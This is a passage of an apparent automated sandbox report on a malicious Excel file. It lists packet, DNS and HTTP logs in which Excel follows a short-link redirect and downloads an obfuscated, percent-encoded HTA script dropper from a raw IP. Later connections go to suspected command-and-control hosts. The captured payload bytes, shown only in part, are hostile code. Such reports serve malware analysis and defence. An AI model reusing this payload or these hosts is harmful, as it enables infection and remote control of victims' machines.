                                          Jul 3, 2024 18:06:37.386867046 CEST8049165172.245.135.155192.168.2.22
                                          Jul 3, 2024 18:06:37.386877060 CEST8049165172.245.135.155192.168.2.22
                                          Jul 3, 2024 18:06:37.386885881 CEST8049165172.245.135.155192.168.2.22
                                          Jul 3, 2024 18:06:37.386894941 CEST8049165172.245.135.155192.168.2.22
                                          Jul 3, 2024 18:06:37.386904955 CEST8049165172.245.135.155192.168.2.22
                                          Jul 3, 2024 18:06:37.386909962 CEST4916580192.168.2.22172.245.135.155
                                          Jul 3, 2024 18:06:37.386919975 CEST4916580192.168.2.22172.245.135.155
                                          Jul 3, 2024 18:06:37.386938095 CEST4916580192.168.2.22172.245.135.155
                                          Jul 3, 2024 18:06:37.387096882 CEST8049165172.245.135.155192.168.2.22
                                          Jul 3, 2024 18:06:37.387140036 CEST4916580192.168.2.22172.245.135.155
                                          Jul 3, 2024 18:06:37.387151957 CEST8049165172.245.135.155192.168.2.22
                                          Jul 3, 2024 18:06:37.387161970 CEST8049165172.245.135.155192.168.2.22
                                          Jul 3, 2024 18:06:37.387188911 CEST4916580192.168.2.22172.245.135.155
                                          Jul 3, 2024 18:06:37.387269974 CEST8049165172.245.135.155192.168.2.22
                                          Jul 3, 2024 18:06:37.387279987 CEST8049165172.245.135.155192.168.2.22
                                          Jul 3, 2024 18:06:37.387290001 CEST8049165172.245.135.155192.168.2.22
                                          Jul 3, 2024 18:06:37.387299061 CEST8049165172.245.135.155192.168.2.22
                                          Jul 3, 2024 18:06:37.387317896 CEST4916580192.168.2.22172.245.135.155
                                          Jul 3, 2024 18:06:37.387329102 CEST4916580192.168.2.22172.245.135.155
                                          Jul 3, 2024 18:06:37.387530088 CEST8049165172.245.135.155192.168.2.22
                                          Jul 3, 2024 18:06:37.387540102 CEST8049165172.245.135.155192.168.2.22
                                          Jul 3, 2024 18:06:37.387550116 CEST8049165172.245.135.155192.168.2.22
                                          Jul 3, 2024 18:06:37.387558937 CEST8049165172.245.135.155192.168.2.22
                                          Jul 3, 2024 18:06:37.387567997 CEST8049165172.245.135.155192.168.2.22
                                          Jul 3, 2024 18:06:37.387574911 CEST4916580192.168.2.22172.245.135.155
                                          Jul 3, 2024 18:06:37.387578964 CEST8049165172.245.135.155192.168.2.22
                                          Jul 3, 2024 18:06:37.387582064 CEST4916580192.168.2.22172.245.135.155
                                          Jul 3, 2024 18:06:37.387600899 CEST4916580192.168.2.22172.245.135.155
                                          Jul 3, 2024 18:06:37.387609005 CEST4916580192.168.2.22172.245.135.155
                                          Jul 3, 2024 18:06:37.387785912 CEST8049165172.245.135.155192.168.2.22
                                          Jul 3, 2024 18:06:37.387795925 CEST8049165172.245.135.155192.168.2.22
                                          Jul 3, 2024 18:06:37.387809038 CEST8049165172.245.135.155192.168.2.22
                                          Jul 3, 2024 18:06:37.387819052 CEST8049165172.245.135.155192.168.2.22
                                          Jul 3, 2024 18:06:37.387828112 CEST8049165172.245.135.155192.168.2.22
                                          Jul 3, 2024 18:06:37.387831926 CEST4916580192.168.2.22172.245.135.155
                                          Jul 3, 2024 18:06:37.387839079 CEST4916580192.168.2.22172.245.135.155
                                          Jul 3, 2024 18:06:37.387839079 CEST8049165172.245.135.155192.168.2.22
                                          Jul 3, 2024 18:06:37.387856960 CEST4916580192.168.2.22172.245.135.155
                                          Jul 3, 2024 18:06:37.387873888 CEST4916580192.168.2.22172.245.135.155
                                          Jul 3, 2024 18:06:37.388158083 CEST8049165172.245.135.155192.168.2.22
                                          Jul 3, 2024 18:06:37.388168097 CEST8049165172.245.135.155192.168.2.22
                                          Jul 3, 2024 18:06:37.388176918 CEST8049165172.245.135.155192.168.2.22
                                          Jul 3, 2024 18:06:37.388186932 CEST8049165172.245.135.155192.168.2.22
                                          Jul 3, 2024 18:06:37.388196945 CEST8049165172.245.135.155192.168.2.22
                                          Jul 3, 2024 18:06:37.388199091 CEST4916580192.168.2.22172.245.135.155
                                          Jul 3, 2024 18:06:37.388206005 CEST8049165172.245.135.155192.168.2.22
                                          Jul 3, 2024 18:06:37.388206005 CEST4916580192.168.2.22172.245.135.155
                                          Jul 3, 2024 18:06:37.388216019 CEST8049165172.245.135.155192.168.2.22
                                          Jul 3, 2024 18:06:37.388226032 CEST4916580192.168.2.22172.245.135.155
                                          Jul 3, 2024 18:06:37.388232946 CEST4916580192.168.2.22172.245.135.155
                                          Jul 3, 2024 18:06:37.388251066 CEST4916580192.168.2.22172.245.135.155
                                          Jul 3, 2024 18:06:39.823056936 CEST8049165172.245.135.155192.168.2.22
                                          Jul 3, 2024 18:06:39.823162079 CEST4916580192.168.2.22172.245.135.155
                                          Jul 3, 2024 18:06:43.490567923 CEST4916580192.168.2.22172.245.135.155
                                          Jul 3, 2024 18:06:44.579021931 CEST491662556192.168.2.22173.255.204.62
                                          Jul 3, 2024 18:06:44.585692883 CEST255649166173.255.204.62192.168.2.22
                                          Jul 3, 2024 18:06:44.585764885 CEST491662556192.168.2.22173.255.204.62
                                          Jul 3, 2024 18:06:44.592920065 CEST491662556192.168.2.22173.255.204.62
                                          Jul 3, 2024 18:06:44.599442005 CEST255649166173.255.204.62192.168.2.22
                                          Jul 3, 2024 18:06:45.868663073 CEST255649166173.255.204.62192.168.2.22
                                          Jul 3, 2024 18:06:45.868972063 CEST491662556192.168.2.22173.255.204.62
                                          Jul 3, 2024 18:06:45.869175911 CEST491662556192.168.2.22173.255.204.62
                                          Jul 3, 2024 18:06:45.876662016 CEST255649166173.255.204.62192.168.2.22
                                          Jul 3, 2024 18:06:45.882970095 CEST491672556192.168.2.22107.173.4.18
                                          Jul 3, 2024 18:06:45.888164043 CEST255649167107.173.4.18192.168.2.22
                                          Jul 3, 2024 18:06:45.888254881 CEST491672556192.168.2.22107.173.4.18
                                          Jul 3, 2024 18:06:45.892122984 CEST491672556192.168.2.22107.173.4.18
                                          Jul 3, 2024 18:06:45.899738073 CEST255649167107.173.4.18192.168.2.22
                                          Jul 3, 2024 18:06:46.403337002 CEST255649167107.173.4.18192.168.2.22
                                          Jul 3, 2024 18:06:46.536266088 CEST255649167107.173.4.18192.168.2.22
                                          Jul 3, 2024 18:06:46.536353111 CEST491672556192.168.2.22107.173.4.18
                                          Jul 3, 2024 18:06:46.540709972 CEST491672556192.168.2.22107.173.4.18
                                          Jul 3, 2024 18:06:46.545481920 CEST255649167107.173.4.18192.168.2.22
                                          Jul 3, 2024 18:06:46.545552015 CEST491672556192.168.2.22107.173.4.18
                                          Jul 3, 2024 18:06:46.550342083 CEST255649167107.173.4.18192.168.2.22
                                          Jul 3, 2024 18:06:46.960938931 CEST255649167107.173.4.18192.168.2.22
                                          Jul 3, 2024 18:06:47.073857069 CEST491672556192.168.2.22107.173.4.18
                                          Jul 3, 2024 18:06:47.079654932 CEST255649167107.173.4.18192.168.2.22
                                          Jul 3, 2024 18:06:47.095252991 CEST255649167107.173.4.18192.168.2.22
                                          Jul 3, 2024 18:06:47.335875988 CEST255649167107.173.4.18192.168.2.22
                                          Jul 3, 2024 18:06:47.336000919 CEST491672556192.168.2.22107.173.4.18
                                          Jul 3, 2024 18:06:47.462372065 CEST4916880192.168.2.22178.237.33.50
                                          Jul 3, 2024 18:06:47.467320919 CEST8049168178.237.33.50192.168.2.22
                                          Jul 3, 2024 18:06:47.467400074 CEST4916880192.168.2.22178.237.33.50
                                          Jul 3, 2024 18:06:47.476444960 CEST4916880192.168.2.22178.237.33.50
                                          Jul 3, 2024 18:06:47.481328964 CEST8049168178.237.33.50192.168.2.22
                                          Jul 3, 2024 18:06:48.110935926 CEST8049168178.237.33.50192.168.2.22
                                          Jul 3, 2024 18:06:48.111097097 CEST4916880192.168.2.22178.237.33.50
                                          Jul 3, 2024 18:06:48.585544109 CEST491672556192.168.2.22107.173.4.18
                                          Jul 3, 2024 18:06:48.631828070 CEST255649167107.173.4.18192.168.2.22
                                          Jul 3, 2024 18:06:49.115392923 CEST8049168178.237.33.50192.168.2.22
                                          Jul 3, 2024 18:06:49.115606070 CEST4916880192.168.2.22178.237.33.50
                                          Jul 3, 2024 18:06:52.443675995 CEST4916180192.168.2.22192.185.89.92
                                          Jul 3, 2024 18:06:52.443885088 CEST4917180192.168.2.22192.185.89.92
                                          Jul 3, 2024 18:06:52.448677063 CEST8049161192.185.89.92192.168.2.22
                                          Jul 3, 2024 18:06:52.448699951 CEST8049171192.185.89.92192.168.2.22
                                          Jul 3, 2024 18:06:52.448750973 CEST4917180192.168.2.22192.185.89.92
                                          Jul 3, 2024 18:06:52.448817968 CEST4917180192.168.2.22192.185.89.92
                                          Jul 3, 2024 18:06:52.455034971 CEST8049171192.185.89.92192.168.2.22
                                          Jul 3, 2024 18:06:53.035135984 CEST8049171192.185.89.92192.168.2.22
                                          Jul 3, 2024 18:06:53.035212040 CEST4917180192.168.2.22192.185.89.92
                                          Jul 3, 2024 18:06:53.625683069 CEST4917280192.168.2.22172.245.135.155
                                          Jul 3, 2024 18:06:53.631719112 CEST8049172172.245.135.155192.168.2.22
                                          Jul 3, 2024 18:06:53.631784916 CEST4917280192.168.2.22172.245.135.155
                                          Jul 3, 2024 18:06:53.669503927 CEST4917380192.168.2.22192.185.89.92
                                          Jul 3, 2024 18:06:53.671498060 CEST4917480192.168.2.22192.185.89.92
                                          Jul 3, 2024 18:06:53.675649881 CEST8049173192.185.89.92192.168.2.22
                                          Jul 3, 2024 18:06:53.675717115 CEST4917380192.168.2.22192.185.89.92
                                          Jul 3, 2024 18:06:53.677498102 CEST8049174192.185.89.92192.168.2.22
                                          Jul 3, 2024 18:06:53.677551985 CEST4917480192.168.2.22192.185.89.92
                                          Jul 3, 2024 18:06:53.700356007 CEST4917480192.168.2.22192.185.89.92
                                          Jul 3, 2024 18:06:53.705305099 CEST8049174192.185.89.92192.168.2.22
                                          Jul 3, 2024 18:06:54.231539965 CEST8049174192.185.89.92192.168.2.22
                                          Jul 3, 2024 18:06:54.231791019 CEST4917480192.168.2.22192.185.89.92
                                          Jul 3, 2024 18:06:58.035346985 CEST8049171192.185.89.92192.168.2.22
                                          Jul 3, 2024 18:06:58.035398006 CEST4917180192.168.2.22192.185.89.92
                                          Jul 3, 2024 18:06:59.232201099 CEST8049174192.185.89.92192.168.2.22
                                          Jul 3, 2024 18:06:59.232270956 CEST4917480192.168.2.22192.185.89.92
                                          Jul 3, 2024 18:06:59.359801054 CEST4917280192.168.2.22172.245.135.155
                                          Jul 3, 2024 18:06:59.359805107 CEST4917480192.168.2.22192.185.89.92
                                          Jul 3, 2024 18:06:59.359805107 CEST4917380192.168.2.22192.185.89.92
                                          Jul 3, 2024 18:07:16.278872967 CEST255649167107.173.4.18192.168.2.22
                                          Jul 3, 2024 18:07:16.281090021 CEST491672556192.168.2.22107.173.4.18
                                          Jul 3, 2024 18:07:16.285880089 CEST255649167107.173.4.18192.168.2.22
                                          Jul 3, 2024 18:07:46.309786081 CEST255649167107.173.4.18192.168.2.22
                                          Jul 3, 2024 18:07:46.311398983 CEST491672556192.168.2.22107.173.4.18
                                          Jul 3, 2024 18:07:46.317893982 CEST255649167107.173.4.18192.168.2.22
                                          Jul 3, 2024 18:07:59.845576048 CEST4916880192.168.2.22178.237.33.50
                                          Jul 3, 2024 18:08:00.249964952 CEST4916880192.168.2.22178.237.33.50
                                          Jul 3, 2024 18:08:00.842935085 CEST4916880192.168.2.22178.237.33.50
                                          Jul 3, 2024 18:08:02.059554100 CEST4916880192.168.2.22178.237.33.50
                                          Jul 3, 2024 18:08:04.539958000 CEST4916880192.168.2.22178.237.33.50
                                          Jul 3, 2024 18:08:09.344796896 CEST4916880192.168.2.22178.237.33.50
                                          Jul 3, 2024 18:08:16.340569973 CEST255649167107.173.4.18192.168.2.22
                                          Jul 3, 2024 18:08:16.360385895 CEST491672556192.168.2.22107.173.4.18
                                          Jul 3, 2024 18:08:16.365222931 CEST255649167107.173.4.18192.168.2.22
                                          Jul 3, 2024 18:08:18.954377890 CEST4916880192.168.2.22178.237.33.50
                                          Jul 3, 2024 18:08:24.742124081 CEST4917180192.168.2.22192.185.89.92
                                          Jul 3, 2024 18:08:25.038434982 CEST4917180192.168.2.22192.185.89.92
                                          Jul 3, 2024 18:08:25.646826029 CEST4917180192.168.2.22192.185.89.92
                                          Jul 3, 2024 18:08:26.926049948 CEST4917180192.168.2.22192.185.89.92
                                          Jul 3, 2024 18:08:29.328452110 CEST4917180192.168.2.22192.185.89.92
                                          Jul 3, 2024 18:08:34.133264065 CEST4917180192.168.2.22192.185.89.92
                                          Jul 3, 2024 18:08:43.742836952 CEST4917180192.168.2.22192.185.89.92
                                          Jul 3, 2024 18:08:46.383308887 CEST255649167107.173.4.18192.168.2.22
                                          Jul 3, 2024 18:08:46.416939974 CEST491672556192.168.2.22107.173.4.18
                                          Jul 3, 2024 18:08:46.421848059 CEST255649167107.173.4.18192.168.2.22
                                          Jul 3, 2024 18:09:16.414874077 CEST255649167107.173.4.18192.168.2.22
                                          Jul 3, 2024 18:09:16.416616917 CEST491672556192.168.2.22107.173.4.18
                                          Jul 3, 2024 18:09:16.421736956 CEST255649167107.173.4.18192.168.2.22
                                          Jul 3, 2024 18:09:46.430465937 CEST255649167107.173.4.18192.168.2.22
                                          Jul 3, 2024 18:09:46.434639931 CEST491672556192.168.2.22107.173.4.18
                                          Jul 3, 2024 18:09:46.439462900 CEST255649167107.173.4.18192.168.2.22

                                          UDP Packets

                                          TimestampSource PortDest PortSource IPDest IP
                                          Jul 3, 2024 18:06:25.334868908 CEST5456253192.168.2.228.8.8.8
                                          Jul 3, 2024 18:06:25.341865063 CEST53545628.8.8.8192.168.2.22
                                          Jul 3, 2024 18:06:26.900186062 CEST5291753192.168.2.228.8.8.8
                                          Jul 3, 2024 18:06:26.907341003 CEST53529178.8.8.8192.168.2.22
                                          Jul 3, 2024 18:06:44.451608896 CEST6275153192.168.2.228.8.8.8
                                          Jul 3, 2024 18:06:44.576395035 CEST53627518.8.8.8192.168.2.22
                                          Jul 3, 2024 18:06:45.871746063 CEST5789353192.168.2.228.8.8.8
                                          Jul 3, 2024 18:06:45.882107019 CEST53578938.8.8.8192.168.2.22
                                          Jul 3, 2024 18:06:47.438754082 CEST5482153192.168.2.228.8.8.8
                                          Jul 3, 2024 18:06:47.448172092 CEST53548218.8.8.8192.168.2.22
                                          Jul 3, 2024 18:06:53.655754089 CEST6392653192.168.2.228.8.8.8
                                          Jul 3, 2024 18:06:53.667804956 CEST53639268.8.8.8192.168.2.22

                                          DNS Queries

                                          TimestampSource IPDest IPTrans IDOP CodeNameTypeClassDNS over HTTPS
                                          Jul 3, 2024 18:06:25.334868908 CEST192.168.2.228.8.8.80x4d96Standard query (0)hop.fyiA (IP address)IN (0x0001)false
                                          Jul 3, 2024 18:06:26.900186062 CEST192.168.2.228.8.8.80xdad5Standard query (0)hop.fyiA (IP address)IN (0x0001)false
                                          Jul 3, 2024 18:06:44.451608896 CEST192.168.2.228.8.8.80x9e9aStandard query (0)bossnacarpet.comA (IP address)IN (0x0001)false
                                          Jul 3, 2024 18:06:45.871746063 CEST192.168.2.228.8.8.80x878fStandard query (0)vegetachcnc.comA (IP address)IN (0x0001)false
                                          Jul 3, 2024 18:06:47.438754082 CEST192.168.2.228.8.8.80xcc2aStandard query (0)geoplugin.netA (IP address)IN (0x0001)false
                                          Jul 3, 2024 18:06:53.655754089 CEST192.168.2.228.8.8.80x29beStandard query (0)hop.fyiA (IP address)IN (0x0001)false

                                          DNS Answers

                                          TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClassDNS over HTTPS
                                          Jul 3, 2024 18:06:25.341865063 CEST8.8.8.8192.168.2.220x4d96No error (0)hop.fyi192.185.89.92A (IP address)IN (0x0001)false
                                          Jul 3, 2024 18:06:26.907341003 CEST8.8.8.8192.168.2.220xdad5No error (0)hop.fyi192.185.89.92A (IP address)IN (0x0001)false
                                          Jul 3, 2024 18:06:44.576395035 CEST8.8.8.8192.168.2.220x9e9aNo error (0)bossnacarpet.com173.255.204.62A (IP address)IN (0x0001)false
                                          Jul 3, 2024 18:06:45.882107019 CEST8.8.8.8192.168.2.220x878fNo error (0)vegetachcnc.com107.173.4.18A (IP address)IN (0x0001)false
                                          Jul 3, 2024 18:06:47.448172092 CEST8.8.8.8192.168.2.220xcc2aNo error (0)geoplugin.net178.237.33.50A (IP address)IN (0x0001)false
                                          Jul 3, 2024 18:06:53.667804956 CEST8.8.8.8192.168.2.220x29beNo error (0)hop.fyi192.185.89.92A (IP address)IN (0x0001)false

                                          HTTP Request Dependency Graph

                                          • hop.fyi
                                          • 172.245.135.155
                                          • geoplugin.net

                                          HTTP Packets

                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                          0192.168.2.2249161192.185.89.92801252C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
                                          TimestampBytes transferredDirectionData
                                          Jul 3, 2024 18:06:25.352921009 CEST319OUTGET /NlD6e HTTP/1.1
                                          Accept: */*
                                          UA-CPU: AMD64
                                          Accept-Encoding: gzip, deflate
                                          User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
                                          Host: hop.fyi
                                          Connection: Keep-Alive
                                          Jul 3, 2024 18:06:25.940625906 CEST641INHTTP/1.1 301 Moved Permanently
                                          Date: Wed, 03 Jul 2024 16:06:25 GMT
                                          Server: Apache
                                          Cache-Control: no-cache, no-store, private
                                          Expires: -1
                                          Upgrade: h2,h2c
                                          Connection: Upgrade, Keep-Alive
                                          Location: http://172.245.135.155/xampp/eg/IEnetCache.hta
                                          Vary: Accept-Encoding
                                          Content-Encoding: gzip
                                          Access-Control-Allow-Origin: *
                                          Content-Length: 218
                                          Keep-Alive: timeout=5, max=75
                                          Content-Type: text/html; charset=UTF-8
                                          Data Raw: 1f 8b 08 00 00 00 00 00 00 03 95 91 3f 0f 82 30 10 c5 77 3f 45 ed c2 04 55 94 68 b4 b0 20 26 4e 1a 83 83 63 85 d3 92 f0 cf 72 18 fd f6 16 6a 42 e2 c6 25 cd 5d 93 eb 7b ef 97 f2 e9 ee 18 c6 d7 53 44 24 16 79 30 e1 a6 11 5d 5c 82 48 cd d8 5f 0b 40 41 12 29 54 03 e8 d3 4b bc b7 d7 94 b0 ff 05 89 58 db f0 6c b3 97 4f 15 dc 15 34 92 92 a4 2a 11 4a fd 6a b6 6d 55 ee 5b dd d2 86 b1 f9 ca 75 dc a5 e7 cc 17 fa 78 1e 7b 8b a2 ae 19 3c d8 21 2a 01 43 91 48 70 24 0a ab b7 19 7c 30 c3 1c 82 33 a4 99 82 04 b3 f2 41 b0 22 e3 24 39 33 22 06 94 0d a4 fc 56 a5 9f 81 e9 cf 84 6b 3e 0d e5 d3 71 6e 34 18 9b 4e 04 ce 2f 9a c9 a3 23 76 ff f2 05 b1 57 52 b8 ae 01 00 00
                                          Data Ascii: ?0w?EUh &NcrjB%]{SD$y0]\H_@A)TKXlO4*JjmU[ux{<!*CHp$|03A"$93"Vk>qn4N/#vWR


                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                          1192.168.2.2249162172.245.135.155801252C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
                                          TimestampBytes transferredDirectionData
                                          Jul 3, 2024 18:06:25.953325987 CEST345OUTGET /xampp/eg/IEnetCache.hta HTTP/1.1
                                          Accept: */*
                                          UA-CPU: AMD64
                                          Accept-Encoding: gzip, deflate
                                          User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
                                          Host: 172.245.135.155
                                          Connection: Keep-Alive
                                          Jul 3, 2024 18:06:26.436552048 CEST1236INHTTP/1.1 200 OK
                                          Date: Wed, 03 Jul 2024 16:06:26 GMT
                                          Server: Apache/2.4.56 (Win64) OpenSSL/1.1.1t PHP/8.0.28
                                          Last-Modified: Tue, 02 Jul 2024 16:30:15 GMT
                                          ETag: "19c39-61c463a8b7ba3"
                                          Accept-Ranges: bytes
                                          Content-Length: 105529
                                          Keep-Alive: timeout=5, max=100
                                          Connection: Keep-Alive
                                          Content-Type: application/hta
                                          Data Raw: 3c 53 63 72 69 70 74 20 4c 61 6e 67 75 61 67 65 3d 27 4a 61 76 61 73 63 72 69 70 74 27 3e 0d 0a 3c 21 2d 2d 0d 0a 64 6f 63 75 6d 65 6e 74 2e 77 72 69 74 65 28 75 6e 65 73 63 61 70 65 28 27 25 33 43 25 37 33 25 36 33 25 37 32 25 36 39 25 37 30 25 37 34 25 32 30 25 36 43 25 36 31 25 36 45 25 36 37 25 37 35 25 36 31 25 36 37 25 36 35 25 33 44 25 34 41 25 36 31 25 37 36 25 36 31 25 35 33 25 36 33 25 37 32 25 36 39 25 37 30 25 37 34 25 33 45 25 36 44 25 33 44 25 32 37 25 32 35 25 33 33 25 34 33 25 32 35 25 33 32 25 33 31 25 34 34 25 34 46 25 34 33 25 35 34 25 35 39 25 35 30 25 34 35 25 32 35 25 33 32 25 33 30 25 36 38 25 37 34 25 36 44 25 36 43 25 32 35 25 33 33 25 34 35 25 32 35 25 33 30 25 34 31 25 32 35 25 33 33 25 34 33 25 36 44 25 36 35 25 37 34 25 36 31 25 32 35 25 33 32 25 33 30 25 36 38 25 37 34 25 37 34 25 37 30 25 32 44 25 36 35 25 37 31 25 37 35 25 36 39 25 37 36 25 32 35 25 33 33 25 34 34 25 32 35 25 33 32 25 33 32 25 35 38 25 32 44 25 35 35 25 34 31 25 32 44 25 34 33 25 36 46 25 36 44 25 37 [TRUNCATED]
                                          Data Ascii: <Script Language='Javascript'>...document.write(unescape('%3C%73%63%72%69%70%74%20%6C%61%6E%67%75%61%67%65%3D%4A%61%76%61%53%63%72%69%70%74%3E%6D%3D%27%25%33%43%25%32%31%44%4F%43%54%59%50%45%25%32%30%68%74%6D%6C%25%33%45%25%30%41%25%33%43%6D%65%74%61%25%32%30%68%74%74%70%2D%65%71%75%69%76%25%33%44%25%32%32%58%2D%55%41%2D%43%6F%6D%70%61%74%69%62%6C%65%25%32%32%25%32%30%63%6F%6E%74%65%6E%74%25%33%44%25%32%32%49%45%25%33%44%45%6D%75%6C%61%74%65%49%45%38%25%32%32%25%32%30%25%33%45%25%30%41%25%33%43%68%74%6D%6C%25%33%45%25%30%41%25%33%43%62%6F%64%79%25%33%45%25%30%41%25%33%43%73%63%52%69%70%54%25%32%30%6C%61%6E%67%75%41%67%45%25%33%44%25%32%32%56%42%53%43%72%49%50%54%25%32%32%25%33%45%25%30%41%64%49%4D%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32
                                          Jul 3, 2024 18:06:26.436599016 CEST1236INData Raw: 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25
                                          Data Ascii: %30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32
                                          Jul 3, 2024 18:06:26.436610937 CEST448INData Raw: 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25
                                          Data Ascii: %25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30
                                          Jul 3, 2024 18:06:26.453485966 CEST1236INData Raw: 37 33 25 35 30 25 37 37 25 35 39 25 34 39 25 34 35 25 36 35 25 37 31 25 36 34 25 37 36 25 35 30 25 34 45 25 37 31 25 36 42 25 35 39 25 35 35 25 36 38 25 36 41 25 35 38 25 34 32 25 35 31 25 35 30 25 37 34 25 34 32 25 36 39 25 35 38 25 34 44 25 36
                                          Data Ascii: 73%50%77%59%49%45%65%71%64%76%50%4E%71%6B%59%55%68%6A%58%42%51%50%74%42%69%58%4D%6E%4C%6D%6C%5A%6E%4C%4F%4A%77%4C%77%61%4E%61%56%48%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%
                                          Jul 3, 2024 18:06:26.453613997 CEST1236INData Raw: 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33
                                          Data Ascii: 30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%
                                          Jul 3, 2024 18:06:26.453628063 CEST1236INData Raw: 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32
                                          Data Ascii: 25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%
                                          Jul 3, 2024 18:06:26.454040051 CEST1236INData Raw: 34 33 25 35 31 25 35 30 25 36 33 25 34 39 25 35 39 25 35 38 25 36 32 25 34 38 25 34 31 25 36 39 25 36 42 25 36 33 25 34 45 25 36 46 25 34 31 25 37 34 25 37 32 25 36 44 25 34 43 25 34 36 25 36 45 25 35 32 25 36 37 25 36 42 25 36 46 25 34 36 25 37
                                          Data Ascii: 43%51%50%63%49%59%58%62%48%41%69%6B%63%4E%6F%41%74%72%6D%4C%46%6E%52%67%6B%6F%46%7A%69%77%71%6F%79%53%6D%63%49%57%68%6C%52%44%66%62%48%4E%56%48%50%78%44%4D%4A%47%58%66%6A%44%5A%48%57%42%4F%43%46%79%6A%50%48%6C%46%52%64%4E%56%79%49%4E%25%32%30%
                                          Jul 3, 2024 18:06:26.458475113 CEST1236INData Raw: 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33
                                          Data Ascii: 32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%
                                          Jul 3, 2024 18:06:26.458493948 CEST1236INData Raw: 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33
                                          Data Ascii: 30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%30%25%32%
                                          Jul 3, 2024 18:06:26.458559036 CEST1236INData Raw: 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32 35 25 33 32 25 33 30 25 32
